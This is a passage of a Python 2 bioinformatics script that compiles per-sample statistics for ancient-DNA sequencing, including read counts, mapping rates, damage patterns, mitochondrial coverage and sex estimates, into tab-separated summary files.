dest='nomia', help='Do not run MIA.',\n action='store_true')\n parser.set_defaults(nomia=False)\n parser.add_argument('-refs', dest='refs', nargs='+', default=[],\n help='List of reference sequences other than hg19 and rCRS.')\n parser.add_argument('-bformat', dest='bformat', help='Barcode format type old (barcodes as sequence not numbers)?.',\n action='store_true')\n parser.set_defaults(bformat=False)\n parser.add_argument('-pmd_threshold', metavar='<pmd_threshold>', help='PMDtools threshold',\n default=\"3\")\n\n args = parser.parse_args()\n wd = args.wd\n bcfile = args.bc_file\n raw = args.raw\n bwa_ref = args.bwa_ref\n mito_ref = args.mito_ref\n seqprep_output_orig = args.seqprep_output\n seqprep_output_in_output = bool(args.seqprep_output_in_output)\n wobc_output = args.wobc_output\n verbose = bool(args.verbose)\n leehom = bool(args.leehom)\n nomia = bool(args.nomia)\n refs = args.refs\n bformat = bool(args.bformat)\n pmd_threshold = args.pmd_threshold\n\n os.chdir(wd)\n cwd = os.getcwd()\n print \"Working in: \", cwd\n\n today = datetime.date.today()\n logfilename = wd + \"/results.\" + str(today) + \".log\"\n print \"Logging to: \", logfilename\n logfile = open(logfilename, 'w')\n\n today = datetime.date.today()\n\n cmdfile = open(\"results_cmds\", 'w')\n\n arefs = [\"/data/genomes/hg19.fa\", \"/data/genomes/rCRS.fas\"]\n for ref in refs:\n arefs.append(ref)\n\n bcin = open(bcfile, 'r')\n bc = []\n barcodespresent = True\n for bcinline in bcin:\n bccols = bcinline.split()\n if len(bccols) > 3:\n barcodespresent = True\n else:\n barcodespresent = False\n bc.append(bcinline)\n\n\n bclength = len(bc)\n print \"Number of entries: \", bclength\n\n refdic = {}\n logfile.write(\"Reference sequences used: \\n\")\n for ref in arefs:\n refname = os.path.basename(ref)\n filebase, fileext = os.path.splitext(refname)\n refdic[filebase] = ref\n logfile.write(ref + \"\\n\")\n logfile.write(\"-------------------\\n\")\n\n for key, value in refdic.iteritems():\n sumfilename = wd + \"/summary.\" + str(today) + \".\" + key + \".txt\"\n print \"\\nResult for \" + key + \" to \" + sumfilename\n sumfile = open(sumfilename, 'w')\n\n # 1\n sumfile.write(\"Date \")\n sumfile.write(\"\t\")\n # 2\n sumfile.write(\" SeqID \")\n sumfile.write(\"\t\")\n # 3\n sumfile.write(\" Library ID \")\n sumfile.write(\"\t\")\n # 4\n sumfile.write(\" Sample \")\n sumfile.write(\"\t\")\n # 5\n sumfile.write(\" total reads \")\n sumfile.write(\"\t\")\n # 6\n sumfile.write(\" total after BC removal \")\n sumfile.write(\"\t\")\n # 7\n sumfile.write(\" % reads with BC \")\n sumfile.write(\"\t\")\n # 8\n sumfile.write(\" pairs processed \")\n sumfile.write(\"\t\")\n # 9\n sumfile.write(\" pairs merged \")\n sumfile.write(\"\t\")\n # 10\n sumfile.write(\" pairs with adapters \")\n sumfile.write(\"\t\")\n # 11\n sumfile.write(\" pairs discarded \")\n sumfile.write(\"\t\")\n # 12\n sumfile.write(\" M reads used \")\n sumfile.write(\"\t\")\n # 13\n sumfile.write(\" flagstats M reads mapped \")\n sumfile.write(\"\t\")\n # 14\n sumfile.write(\" M reads mapped, rmdup \")\n sumfile.write(\"\t\")\n # 15\n sumfile.write(\" ALL reads, rmdup, uniqly mapping \")\n sumfile.write(\"\t\")\n # 16\n sumfile.write(\" Avg length all mapped reads \")\n sumfile.write(\"\t\")\n # 17\n sumfile.write(\" Quality used \")\n sumfile.write(\"\t\")\n\n # 18\n sumfile.write(\"% reads with barcodes (no mismatches) \")\n sumfile.write(\"\t\")\n # 19\n sumfile.write(\"% not duplicate \")\n sumfile.write(\"\t\")\n # 20\n sumfile.write(\"q20 %endogenous \")\n sumfile.write(\"\t\")\n # 21\n sumfile.write(\"% merged \")\n sumfile.write(\"\t\")\n\n # 22\n sumfile.write(\"5' damage \")\n sumfile.write(\"\t\")\n # 23\n sumfile.write(\"3' damage \")\n sumfile.write(\"\t\")\n # 24\n sumfile.write(\"analysis notes \")\n sumfile.write(\"\t\")\n # 25\n sumfile.write(\"location\")\n sumfile.write(\"\t\")\n\n sumfile.write(\"\\n\")\n\n bar = progressbar.ProgressBar()\n for i in bar(range(bclength)):\n bcline = bc[i]\n bccols = bcline.split()\n in_sample = bccols[0]\n out_sample = bccols[1]\n output = wd + \"/\" + out_sample\n\n # Get lib name if its there\n in_samplecols = in_sample.split(\"-\")\n if len(in_samplecols) >= 2:\n lib = in_samplecols[1]\n else:\n lib = \"???\"\n\n if seqprep_output_in_output:\n seqprep_output = output + \"/\" + seqprep_output_orig\n else:\n seqprep_output = seqprep_output_orig\n so_s = seqprep_output + \"/\" + in_sample\n\n rawgzpattern = in_sample + \"*_L00*_R1_001.fastq.gz\"\n files = os.listdir(raw)\n r1name = None\n for name in files:\n if (fnmatch.fnmatch(name, rawgzpattern)):\n r1name = raw + \"/\" + name\n r1outname = os.path.splitext(r1name)[0]\n if not os.path.isfile(r1outname):\n with gzip.open(r1name, 'rb') as f_in, open(r1outname, 'wb') as f_out:\n shutil.copyfileobj(f_in, f_out)\n\n # Will take the FIRST matching file\n rawfile = None\n rawpattern = in_sample + \"*_L00*_R1_001.fastq\"\n files = os.listdir(raw)\n for name in files:\n if (fnmatch.fnmatch(name, rawpattern)):\n rawfile = raw + \"/\" + name\n break\n if not os.path.isfile(rawfile):\n print \"No file matching \" + rawpattern + \" found. Exiting.\"\n exit(1)\n\n rawin = open(rawfile, 'r')\n rawclength = 0\n for rawcinline in rawin:\n rawclength += 1\n rawreads = str(float(rawclength) / 4.0)\n\n if leehom:\n lh_file = seqprep_output + \"/LH.\" + in_sample + \".stderr.txt\"\n lhc = []\n if os.path.isfile(lh_file):\n lhin = open(lh_file, 'r')\n for lhinline in lhin:\n lhc.append(lhinline)\n\n else:\n print \"No file matching \" + lh_file + \" found. Exiting.\"\n exit(1)\n\n rdbname = wobc_output + \"/\" + in_sample + \".woBC_R1.fastq\"\n if not os.path.isfile(rdbname):\n with gzip.open(rdbname + \".gz\", 'rb') as f_in, open(rdbname, 'wb') as f_out:\n shutil.copyfileobj(f_in, f_out)\n reads_debarcoded = int(bash_command(\"wc -l \" + rdbname).split()[0]) / 4\n\n mname = so_s + \".M.fq\"\n if not os.path.isfile(mname):\n with gzip.open(mname + \".gz\", 'rb') as f_in, open(mname, 'wb') as f_out:\n shutil.copyfileobj(f_in, f_out)\n merged = int(bash_command(\"wc -l \" + mname).split()[0]) / 4\n noperc = lhc[1].split(\"\\t\")[0]\n splitspc = noperc.split(\" \")\n wadapters = splitspc[2] #\n discarded = \"N/A\"\n\n else:\n\n sp_file = seqprep_output + \"/SP.\" + in_sample + \".stderr.txt\"\n spc = []\n if os.path.isfile(sp_file):\n spin = open(sp_file, 'r')\n for spinline in spin:\n spc.append(spinline)\n\n else:\n print \"SP No file matching \" + sp_file + \" found. Exiting.\"\n exit(1)\n reads_debarcoded = int(str(spc[1].split()[2]).strip())\n merged = int(spc[2].split()[2].strip())\n wadapters = int(spc[3].split()[3].strip())\n discarded = int(spc[4].split()[2].strip())\n\n rdbf = float(reads_debarcoded)\n if rdbf == 0:\n percentmerged = \"N/A\"\n print \"Reads_debarcoded is 0. Are you sure you have the right indexes?\"\n else:\n percentmerged = str((100.0 * float(merged) / rdbf))\n\n rrf = float(rawreads)\n if rrf == 0:\n percentbarcodes = \"N/A\"\n else:\n percentbarcodes = str((100.0 * rdbf) / rrf) + \"%\"\n\n bwa_output1 = output + \"/BWA_\" + key\n bo1_s = bwa_output1 + \"/\" + out_sample\n\n mpattern = out_sample + \".M.cf.*.q*.s.bam\"\n files = os.listdir(bwa_output1)\n mname = None\n for name in files:\n if (fnmatch.fnmatch(name, mpattern)):\n mname = name\n\n if not mname:\n print \"ERROR: Cannot find match to\" + mpattern + \" Exiting. \"\n exit(1)\n\n allpattern = out_sample + \"_allreads.cf.*.q*.s.bam\"\n files = os.listdir(bwa_output1)\n allname = None\n for name in files:\n if (fnmatch.fnmatch(name, allpattern)):\n allname = name\n if not allname:\n print \"ERROR: Cannot find \" + allpattern + \" Exiting. \"\n exit(1)\n\n merged_filtered_bam = bash_command(\"samtools view -c \" + bo1_s + \".M.cf.*.q*.s.bam\").strip()\n if merged_filtered_bam:\n merged_filtered_bam = int(merged_filtered_bam)\n rd_merged_filtered_bam = bash_command(\"samtools view -c \" + bo1_s + \".M.cf.*.q*.s.rd.bam\").strip()\n if rd_merged_filtered_bam:\n rd_merged_filtered_bam = int(rd_merged_filtered_bam)\n all_filtered_bam = bash_command(\"samtools view -c \" + bo1_s + \"_allreads.cf.*.q*.s.bam\").strip()\n if all_filtered_bam:\n all_filtered_bam = int(all_filtered_bam)\n rd_all_filtered_bam = bash_command(\"samtools view -c \" + bo1_s + \"_allreads.cf.*.q*.s.bam\").strip()\n if rd_all_filtered_bam:\n rd_all_filtered_bam = int(rd_all_filtered_bam)\n\n uniq_all_filtered_bam = bash_command(\n \"samtools view -c \" + bo1_s + \"_allreads.cf.*.q*.s.rd.uniq.bam\").strip()\n if uniq_all_filtered_bam:\n uniq_all_filtered_bam = int(uniq_all_filtered_bam)\n\n if merged_filtered_bam == 0:\n percent_m_dup = \"NaN\"\n else:\n percent_m_dup = str(float(rd_merged_filtered_bam) / float(merged_filtered_bam))\n if merged == 0:\n percent_m_endog = \"NaN\"\n else:\n percent_m_endog = str((100.0 * float(merged_filtered_bam)) / float(reads_debarcoded))\n if reads_debarcoded == 0:\n percent_all_endog = \"NaN\"\n else:\n percent_all_endog = str((100 * float(all_filtered_bam)) / float(rawreads))\n\n chkpipe = subprocess.Popen(\n ['/bin/bash', '-c', \"samtools view \" + bo1_s + \"_allreads.cf.*.q*.s.rd.bam \"], stdout=PIPE)\n chkout = chkpipe.communicate()[0]\n if chkout:\n avglen_all_mapped = bash_command(\n \"samtools view \" + bo1_s + \"_allreads.cf.*.q*.s.rd.bam | awk '{SUM+=length($10);DIV++}END{print SUM/DIV}'\").strip()\n else:\n avglen_all_mapped = \"NaN\"\n\n bwa_q_pattern = out_sample + \".M.cf.\" + bwa_ref + \".q*.s.bam\"\n files = os.listdir(bwa_output1)\n bwa_q = \"N/A\"\n for name in files:\n if (fnmatch.fnmatch(name, bwa_q_pattern)):\n bwaqname = name\n bwaqcols = bwaqname.split(\".\")\n bwa_q = bwaqcols[4].strip()\n\n # MapDamage summary\n firstpos = \"N/A\"\n ct_damagefile = wd + \"/mapDamage/mapDamage_\" + out_sample + \"_\" + bwa_ref + \"/5pCtoT_freq.txt\"\n ctc = []\n if os.path.isfile(ct_damagefile):\n ctin = open(ct_damagefile, 'r')\n for ctinline in ctin:\n ctc.append(ctinline)\n firstpos = ctc[1].split()[1].strip()\n\n else:\n print \"No file matching \" + ct_damagefile + \" found.\"\n\n ga_damagefile = wd + \"/mapDamage/mapDamage_\" + out_sample + \"_\" + bwa_ref + \"/3pGtoA_freq.txt\"\n gac = []\n lastpos = \"N/A\"\n if os.path.isfile(ga_damagefile):\n gain = open(ga_damagefile, 'r')\n for gainline in gain:\n gac.append(gainline)\n lastpos = gac[1].split()[1].strip()\n else:\n print \"No file matching \" + ga_damagefile + \" found.\"\n\n percent_firstpos = bash_command(\"echo \\\"scale=2; 100 * \" + str(firstpos) + \"/1\\\" | bc\").strip()\n percent_lastpos = bash_command(\"echo \\\"scale=2; 100 * \" + str(lastpos) + \"/1\\\" | bc\").strip()\n\n # 1\n sumfile.write(str(today))\n sumfile.write(str(\"\t\"))\n # 2\n sumfile.write(str(in_sample))\n sumfile.write(str(\"\t\"))\n # 3\n sumfile.write(str(lib))\n sumfile.write(str(\"\t\"))\n # 4\n sumfile.write(str(out_sample))\n sumfile.write(str(\"\t\"))\n # 5\n sumfile.write(str(rawreads))\n sumfile.write(str(\"\t\"))\n # 6\n sumfile.write(str(reads_debarcoded))\n sumfile.write(str(\"\t\"))\n # 7\n sumfile.write(str(percentbarcodes))\n sumfile.write(str(\"\t\"))\n # 8\n sumfile.write(str(reads_debarcoded))\n sumfile.write(str(\"\t\"))\n # 9\n sumfile.write(str(merged))\n sumfile.write(str(\"\t\"))\n # 10\n sumfile.write(str(wadapters))\n sumfile.write(str(\"\t\"))\n # 11\n sumfile.write(str(discarded))\n sumfile.write(str(\"\t\"))\n # 12\n sumfile.write(str(merged))\n sumfile.write(str(\"\t\"))\n # 13\n sumfile.write(str(merged_filtered_bam))\n sumfile.write(str(\"\t\"))\n # 14\n sumfile.write(str(rd_merged_filtered_bam))\n sumfile.write(str(\"\t\"))\n # 15\n sumfile.write(str(uniq_all_filtered_bam))\n sumfile.write(str(\"\t\"))\n # 16\n sumfile.write(str(avglen_all_mapped))\n sumfile.write(str(\"\t\"))\n # 17\n sumfile.write(str(bwa_q))\n sumfile.write(str(\"\t\"))\n\n # 18\n sumfile.write(str(percentbarcodes))\n sumfile.write(str(\"\t\"))\n # 19\n sumfile.write(str(percent_m_dup))\n sumfile.write(str(\"\t\"))\n # 20\n sumfile.write(str(percent_m_endog))\n sumfile.write(str(\"\t\"))\n # 21\n sumfile.write(str(percentmerged))\n sumfile.write(str(\"\t\"))\n\n # 22\n sumfile.write(str(percent_firstpos))\n sumfile.write(str(\"\t\"))\n # 23\n sumfile.write(str(percent_lastpos))\n sumfile.write(str(\"\t\"))\n\n # 24\n sumfile.write(str(\"\t\"))\n\n # 25\n sumfile.write(str(cwd))\n sumfile.write(str(\"\t\"))\n\n sumfile.write(\"\\n\")\n sumfile.close()\n\n # Original sumfile\n sumfilename = wd + \"/summary.\" + str(today) + \".txt\"\n print \"Summary to: \", sumfilename\n sumfile = open(sumfilename, 'w')\n # 1\n sumfile.write(\"Date \")\n sumfile.write(\"\t\")\n # 2\n sumfile.write(\" SeqID \")\n sumfile.write(\"\t\")\n # 3\n sumfile.write(\" Library ID \")\n sumfile.write(\"\t\")\n # 4\n sumfile.write(\" Sample \")\n sumfile.write(\"\t\")\n # 5\n sumfile.write(\" total reads \")\n sumfile.write(\"\t\")\n # 6\n sumfile.write(\" total after BC removal \")\n sumfile.write(\"\t\")\n # 7\n sumfile.write(\" % reads with BC \")\n sumfile.write(\"\t\")\n # 8\n sumfile.write(\" pairs processed \")\n sumfile.write(\"\t\")\n # 9\n sumfile.write(\" pairs merged \")\n sumfile.write(\"\t\")\n # 10\n sumfile.write(\" pairs with adapters \")\n sumfile.write(\"\t\")\n # 11\n sumfile.write(\" pairs discarded \")\n sumfile.write(\"\t\")\n # 12\n sumfile.write(\" M reads used \")\n sumfile.write(\"\t\")\n # 13\n sumfile.write(\" flagstats M reads mapped \")\n sumfile.write(\"\t\")\n # 14\n sumfile.write(\" M reads mapped, rmdup \")\n sumfile.write(\"\t\")\n # 15\n sumfile.write(\" ALL reads, rmdup, uniqly mapping \")\n sumfile.write(\"\t\")\n # 16\n sumfile.write(\" Avg length all mapped reads \")\n sumfile.write(\"\t\")\n # 17\n sumfile.write(\" Quality used \")\n sumfile.write(\"\t\")\n # 18\n sumfile.write(\" Ref used \")\n sumfile.write(\"\t\")\n # 19\n sumfile.write(\" flagstats M reads mapped \")\n sumfile.write(\"\t\")\n # 20\n sumfile.write(\"M reads mapped, rmdup \")\n sumfile.write(\"\t\")\n # 21\n sumfile.write(\"All reads, mapped, rmdup, uniq \")\n sumfile.write(\"\t\")\n # 22\n sumfile.write(\" Avg length all mapped mito reads \")\n sumfile.write(\"\t\")\n # 23\n sumfile.write(\" Q used \")\n sumfile.write(\"\t\")\n # 24\n sumfile.write(\" Ref used \")\n sumfile.write(\"\t\")\n # 25\n sumfile.write(\"reads mapped \")\n sumfile.write(\"\t\")\n # 26\n sumfile.write(\"avg coverage \")\n sumfile.write(\"\t\")\n # 27\n sumfile.write(\"haplotype \")\n sumfile.write(\"\t\")\n # 28\n sumfile.write(\"% reads with barcodes (no mismatches) \")\n sumfile.write(\"\t\")\n # 29\n sumfile.write(\"% not duplicate \")\n sumfile.write(\"\t\")\n # 30\n sumfile.write(\"q20 %endogenous \")\n sumfile.write(\"\t\")\n # 31\n sumfile.write(\"% merged \")\n sumfile.write(\"\t\")\n # 32\n sumfile.write(\"Average M fragment length \")\n sumfile.write(\"\t\")\n # 33\n sumfile.write(\"Sex estimate \")\n sumfile.write(\"\t\")\n # 34\n sumfile.write(\"5' damage \")\n sumfile.write(\"\t\")\n # 35\n sumfile.write(\"3' damage \")\n sumfile.write(\"\t\")\n # 36\n sumfile.write(\"analysis notes \")\n sumfile.write(\"\t\")\n # 37\n sumfile.write(\"location\")\n sumfile.write(\"\t\")\n # 38\n sumfile.write(\"RX Sex assignment \")\n sumfile.write(\"\t\")\n # 39\n sumfile.write(\"RX estimate \")\n sumfile.write(\"\t\")\n # 40\n sumfile.write(\"RX conf interval \")\n sumfile.write(\"\t\")\n # 41\n sumfile.write(\"Strongly diagnostic positions \")\n sumfile.write(\"\t\")\n # 42\n sumfile.write(\"Frags Orig. \")\n sumfile.write(\"\t\")\n # 43\n sumfile.write(\"Frags Contam. \")\n sumfile.write(\"\t\")\n # 44\n sumfile.write(\"Frags Total \")\n sumfile.write(\"\t\")\n # 45\n sumfile.write(\"Frags Contam. Rate \")\n sumfile.write(\"\t\")\n # 46\n sumfile.write(\"All reads PMD filtered \")\n sumfile.write(\"\t\")\n # 46\n sumfile.write(\"PMD threshold \")\n sumfile.write(\"\t\")\n\n sumfile.write(\"\\n\")\n\n bar = progressbar.ProgressBar()\n for i in bar(range(bclength)):\n bcline = bc[i]\n bccols = bcline.split()\n in_sample = bccols[0]\n out_sample = bccols[1]\n output = wd + \"/\" + out_sample\n\n # Get lib name if its there\n in_samplecols = in_sample.split(\"-\")\n if len(in_samplecols) >= 2:\n lib = in_samplecols[1]\n else:\n lib = \"???\"\n\n if seqprep_output_in_output:\n seqprep_output = output + \"/\" + seqprep_output_orig\n else:\n seqprep_output = seqprep_output_orig\n so_s = seqprep_output + \"/\" + in_sample\n\n rawgzpattern = in_sample + \"*_L00*_R1_001.fastq.gz\"\n files = os.listdir(raw)\n r1name = None\n for name in files:\n if (fnmatch.fnmatch(name, rawgzpattern)):\n r1name = raw + \"/\" + name\n r1outname = os.path.splitext(r1name)[0]\n if not os.path.isfile(r1outname):\n with gzip.open(r1name, 'rb') as f_in, open(r1outname, 'wb') as f_out:\n shutil.copyfileobj(f_in, f_out)\n\n # Will take the FIRST matching file\n rawfile = None\n rawpattern = in_sample + \"*_L00*_R1_001.fastq\"\n files = os.listdir(raw)\n for name in files:\n if (fnmatch.fnmatch(name, rawpattern)):\n rawfile = raw + \"/\" + name\n break\n if not os.path.isfile(rawfile):\n print \"No file matching \" + rawpattern + \" found. Exiting.\"\n exit(1)\n\n rawin = open(rawfile, 'r')\n rawclength = 0\n for rawcinline in rawin:\n rawclength += 1\n rawreads = str(float(rawclength) / 4.0)\n\n if leehom:\n lh_file = seqprep_output + \"/LH.\" + in_sample + \".stderr.txt\"\n lhc = []\n if os.path.isfile(lh_file):\n lhin = open(lh_file, 'r')\n for lhinline in lhin:\n lhc.append(lhinline)\n\n else:\n print \"No file matching \" + lh_file + \" found. Exiting.\"\n exit(1)\n\n rdbname = wobc_output + \"/\" + in_sample + \".woBC_R1.fastq\"\n if not os.path.isfile(rdbname):\n with gzip.open(rdbname + \".gz\", 'rb') as f_in, open(rdbname, 'wb') as f_out:\n shutil.copyfileobj(f_in, f_out)\n reads_debarcoded = int(bash_command(\"wc -l \" + rdbname).split()[0]) / 4\n\n mname = so_s + \".M.fq\"\n if not os.path.isfile(mname):\n with gzip.open(mname + \".gz\", 'rb') as f_in, open(mname, 'wb') as f_out:\n shutil.copyfileobj(f_in, f_out)\n merged = int(bash_command(\"wc -l \" + mname).split()[0]) / 4\n noperc = lhc[1].split(\"\\t\")[0]\n splitspc = noperc.split(\" \")\n wadapters = splitspc[2]\n discarded = \"N/A\"\n\n else:\n\n sp_file = seqprep_output + \"/SP.\" + in_sample + \".stderr.txt\"\n spc = []\n if os.path.isfile(sp_file):\n spin = open(sp_file, 'r')\n for spinline in spin:\n spc.append(spinline)\n\n else:\n print \"SP No file matching \" + sp_file + \" found. Exiting.\"\n exit(1)\n reads_debarcoded = int(str(spc[1].split()[2]).strip())\n merged = int(spc[2].split()[2].strip())\n wadapters = int(spc[3].split()[3].strip())\n discarded = int(spc[4].split()[2].strip())\n\n rdbf = float(reads_debarcoded)\n if rdbf == 0:\n percentmerged = \"N/A\"\n print \"Reads_debarcoded is 0. Are you sure you have the right indexes?\"\n else:\n percentmerged = str((100.0 * float(merged) / rdbf))\n\n rrf = float(rawreads)\n if rrf == 0:\n percentbarcodes = \"N/A\"\n else:\n percentbarcodes = str((100.0 * rdbf) / rrf)\n\n bwa_output1 = output + \"/BWA_\" + bwa_ref\n bo1_s = bwa_output1 + \"/\" + out_sample\n\n mpattern = out_sample + \".M.cf.*.q*.s.bam\"\n files = os.listdir(bwa_output1)\n mname = None\n for name in files:\n if (fnmatch.fnmatch(name, mpattern)):\n mname = name\n\n if not mname:\n print \"ERROR: Cannot find match to\" + mpattern + \" Exiting. \"\n exit(1)\n\n allpattern = out_sample + \"_allreads.cf.*.q*.s.bam\"\n files = os.listdir(bwa_output1)\n allname = None\n for name in files:\n if (fnmatch.fnmatch(name, allpattern)):\n allname = name\n if not allname:\n print \"ERROR: Cannot find \" + allpattern + \" Exiting. \"\n exit(1)\n\n merged_filtered_bam = bash_command(\"samtools view -c \" + bo1_s + \".M.cf.*.q*.s.bam\").strip()\n if merged_filtered_bam:\n merged_filtered_bam = int(merged_filtered_bam)\n rd_merged_filtered_bam = bash_command(\"samtools view -c \" + bo1_s + \".M.cf.*.q*.s.rd.bam\").strip()\n if rd_merged_filtered_bam:\n rd_merged_filtered_bam = int(rd_merged_filtered_bam)\n all_filtered_bam = bash_command(\"samtools view -c \" + bo1_s + \"_allreads.cf.*.q*.s.bam\").strip()\n if all_filtered_bam:\n all_filtered_bam = int(all_filtered_bam)\n rd_all_filtered_bam = bash_command(\"samtools view -c \" + bo1_s + \"_allreads.cf.*.q*.s.rd.bam\").strip()\n if rd_all_filtered_bam:\n rd_all_filtered_bam = int(rd_all_filtered_bam)\n\n uniq_all_filtered_bam = bash_command(\"samtools view -c \" + bo1_s + \"_allreads.cf.*.q*.s.rd.uniq.bam\").strip()\n if uniq_all_filtered_bam:\n uniq_all_filtered_bam = int(uniq_all_filtered_bam)\n\n if merged_filtered_bam == 0:\n percent_m_dup = \"NaN\"\n else:\n percent_m_dup = str(100.0 * float(rd_merged_filtered_bam) / float(merged_filtered_bam)) + \"%\"\n if merged == 0:\n percent_m_endog = \"NaN\"\n else:\n percent_m_endog = str((100.0 * float(merged_filtered_bam)) / float(reads_debarcoded))\n if reads_debarcoded == 0:\n percent_all_endog = \"NaN\"\n else:\n percent_all_endog = str((100 * float(all_filtered_bam)) / float(rawreads))\n\n\n\n chkpipe = subprocess.Popen(\n ['/bin/bash', '-c', \"samtools view \" + bo1_s + \"_allreads.cf.*.q*.s.rd.bam \"], stdout=PIPE)\n chkout = chkpipe.communicate()[0]\n if chkout:\n avglen_all_mapped = bash_command(\n \"samtools view \" + bo1_s + \"_allreads.cf.*.q*.s.rd.bam | awk '{SUM+=length($10);DIV++}END{print SUM/DIV}'\").strip()\n else:\n avglen_all_mapped = \"NaN\"\n\n\n if not os.path.isfile(so_s + \".M.fq\"): # merged reads\n with gzip.open(so_s + \".M.fq.gz\", 'rb') as f_in, open(so_s + \".M.fq\", 'wb') as f_out:\n shutil.copyfileobj(f_in, f_out)\n\n chkpipe = subprocess.Popen(\n ['/bin/bash', '-c', \"awk 'BEGIN { t=0.0;sq=0.0; n=0;} ;NR%4==2 {n++;L=length($0);t+=L;sq+=L*L;}END{m=t/n;printf(\\\"%f\\\",m);}' \" + so_s + \".M.fq\"], stdout=PIPE)\n chkout = chkpipe.communicate()[0]\n if chkout:\n avglen_M_unmapped = bash_command(\"awk 'BEGIN { t=0.0;sq=0.0; n=0;} ;NR%4==2 {n++;L=length($0);t+=L;sq+=L*L;}END{m=t/n;printf(\\\"%f\\\",m);}' \" + so_s + \".M.fq\")\n else:\n avglen_M_unmapped = \"NaN\"\n\n with open(so_s + \".M.fq\", 'rb') as f_in, gzip.open(so_s + \".M.fq.gz\", 'wb') as f_out:\n shutil.copyfileobj(f_in, f_out)\n\n # summary BWA (mito) statistics\n bwa_output2 = output + \"/BWA_rCRS\"\n bo2_s = bwa_output2 + \"/\" + out_sample\n\n mpattern = out_sample + \".M.cf.*.q*.s.bam\"\n files = os.listdir(bwa_output2)\n mname = None\n for name in files:\n if (fnmatch.fnmatch(name, mpattern)):\n mname = name\n\n if not mname:\n print \"ERROR: Cannot find match to\" + mpattern + \" Exiting. \"\n exit(1)\n\n allpattern = out_sample + \"_allreads.cf.*.q*.s.bam\"\n files = os.listdir(bwa_output2)\n allname = None\n for name in files:\n if (fnmatch.fnmatch(name, allpattern)):\n allname = name\n if not allname:\n print \"ERROR: Cannot find \" + allpattern + \" Exiting. \"\n exit(1)\n\n m_filtered_bam_mito = bash_command(\"samtools view -c \" + bo2_s + \".M.cf.*.q*.s.bam\").strip()\n rd_m_filtered_bam_mito = bash_command(\"samtools view -c \" + bo2_s + \".M.cf.*.q*.s.rd.bam\").strip()\n all_filtered_bam_mito = bash_command(\"samtools view -c \" + bo2_s + \"_allreads.cf.*.q*.s.bam\").strip()\n rd_filtered_bam_mito = bash_command(\"samtools view -c \" + bo2_s + \"_allreads.cf.*.q*.s.rd.bam\").strip()\n all_uniq_mito = bash_command(\"samtools view -c \" + bo2_s + \"_allreads.cf.*.q*.s.rd.uniq.bam\").strip()\n\n chkpipe = subprocess.Popen(\n ['/bin/bash', '-c', \"samtools view \" + bo2_s + \"_allreads.cf.*.q*.s.rd.uniq.bam\"], stdout=PIPE)\n chkout = chkpipe.communicate()[0]\n if chkout:\n avglen_all_mito = bash_command(\n \"samtools view \" + bo2_s + \"_allreads.cf.*.q*.s.rd.uniq.bam | awk '{SUM+=length($10);DIV++}END{print SUM/DIV}'\").strip()\n else:\n avglen_all_mito = \"NaN\"\n\n bwa_q_pattern = out_sample + \".M.cf.\" + bwa_ref + \".q*.s.bam\"\n files = os.listdir(bwa_output1)\n bwa_q = \"N/A\"\n for name in files:\n if (fnmatch.fnmatch(name, bwa_q_pattern)):\n bwaqname = name\n bwaqcols = bwaqname.split(\".\")\n bwa_q = bwaqcols[4].strip()\n\n mitopattern = out_sample + \".M.cf.\" + mito_ref + \".q*.s.bam\"\n files = os.listdir(bwa_output2)\n mito_q = \"N/A\"\n for name in files:\n if (fnmatch.fnmatch(name, mitopattern)):\n mitoname = name\n mitocols = mitoname.split(\".\")\n mito_q = mitocols[4].strip()\n if not nomia:\n # MIA summary\n mia_output = output + \"/MIA_output\"\n # Get FIRST matching MIA output file\n\n miapattern = out_sample + \"*.mia_stats.txt\"\n files = os.listdir(mia_output)\n mianame = None\n for name in files:\n if (fnmatch.fnmatch(name, miapattern)):\n mianame = name\n break\n\n mia_output_file = mia_output + \"/\" + mianame\n\n miac = []\n if os.path.isfile(mia_output_file):\n miain = open(mia_output_file, 'r')\n for mialine in miain:\n miac.append(mialine)\n\n else:\n print \"No file matching \" + mia_output_file + \" found. Exiting.\"\n exit(1)\n if len(miac) >= 5: # crashing Mia might leave an empty file\n mia_reads = miac[2].split()[7]\n mia_coverage = miac[4].split()[3]\n else:\n mia_reads = \"N/A\"\n mia_coverage = \"N/A\"\n else:\n mia_reads = \"N/A\"\n mia_coverage = \"N/A\"\n\n # MapDamage summary\n ct_damagefile = wd + \"/mapDamage/mapDamage_\" + out_sample + \"_\" + bwa_ref + \"/5pCtoT_freq.txt\"\n ctc = []\n firstpos = \"N/A\"\n if os.path.isfile(ct_damagefile):\n ctin = open(ct_damagefile, 'r')\n for ctinline in ctin:\n ctc.append(ctinline)\n firstpos = ctc[1].split()[1].strip()\n\n else:\n print \"No file matching \" + ct_damagefile + \" found.\"\n\n ga_damagefile = wd + \"/mapDamage/mapDamage_\" + out_sample + \"_\" + bwa_ref + \"/3pGtoA_freq.txt\"\n gac = []\n lastpos = \"N/A\"\n if os.path.isfile(ga_damagefile):\n gain = open(ga_damagefile, 'r')\n for gainline in gain:\n gac.append(gainline)\n lastpos = gac[1].split()[1].strip()\n else:\n print \"No file matching \" + ga_damagefile + \" found.\"\n\n percent_firstpos = bash_command(\"echo \\\"scale=2; 100 * \" + str(firstpos) + \"/1\\\" | bc\").strip()\n percent_lastpos = bash_command(\"echo \\\"scale=2; 100 * \" + str(lastpos) + \"/1\\\" | bc\").strip()\n\n sexpattern = out_sample + \"*.sex.txt\"\n files = os.listdir(output)\n sexname = None\n for name in files:\n if (fnmatch.fnmatch(name, sexpattern)):\n sexname = name\n break\n\n sexc = []\n if sexname is not None:\n sex_output_file = output + \"/\" + sexname\n if os.path.isfile(sex_output_file):\n sexin = open(sex_output_file, 'r')\n for sexline in sexin:\n sexc.append(sexline)\n\n if len(sexc) >= 2:\n ry_sex = str(sexc[1].split(\"\\t\")[6]).strip()\n else:\n ry_sex = \"N/A\"\n\n rxfilename = output + \"/\" + out_sample + \".Rx.txt\"\n rxc = []\n if os.path.isfile(rxfilename):\n rxin = open(rxfilename, 'r')\n for rxline in rxin:\n rxc.append(rxline)\n\n if len(rxc) >= 20:\n rxsex = str(rxc[19].split(\":\")[1]).strip()\n else:\n rxsex = \"N/A\"\n\n if len(rxc) >= 21:\n rxsex_ci = str(rxc[20].split(\":\")[1]).strip()\n rxsex_ci.replace(\" \", \"-\")\n else:\n rxsex_ci = \"N/A\"\n\n if len(rxc) >= 22:\n rxsex_assignment = str(rxc[21].split(\":\")[1]).strip()\n else:\n rxsex_assignment = \"N/A\"\n\n # 2a_contam\n contamfilename = wd + \"/ccheck_results/results.raw.contamination.txt\"\n cxc = []\n\n ct_sdpos = \"N/A\"\n ct_forig = \"N/A\"\n 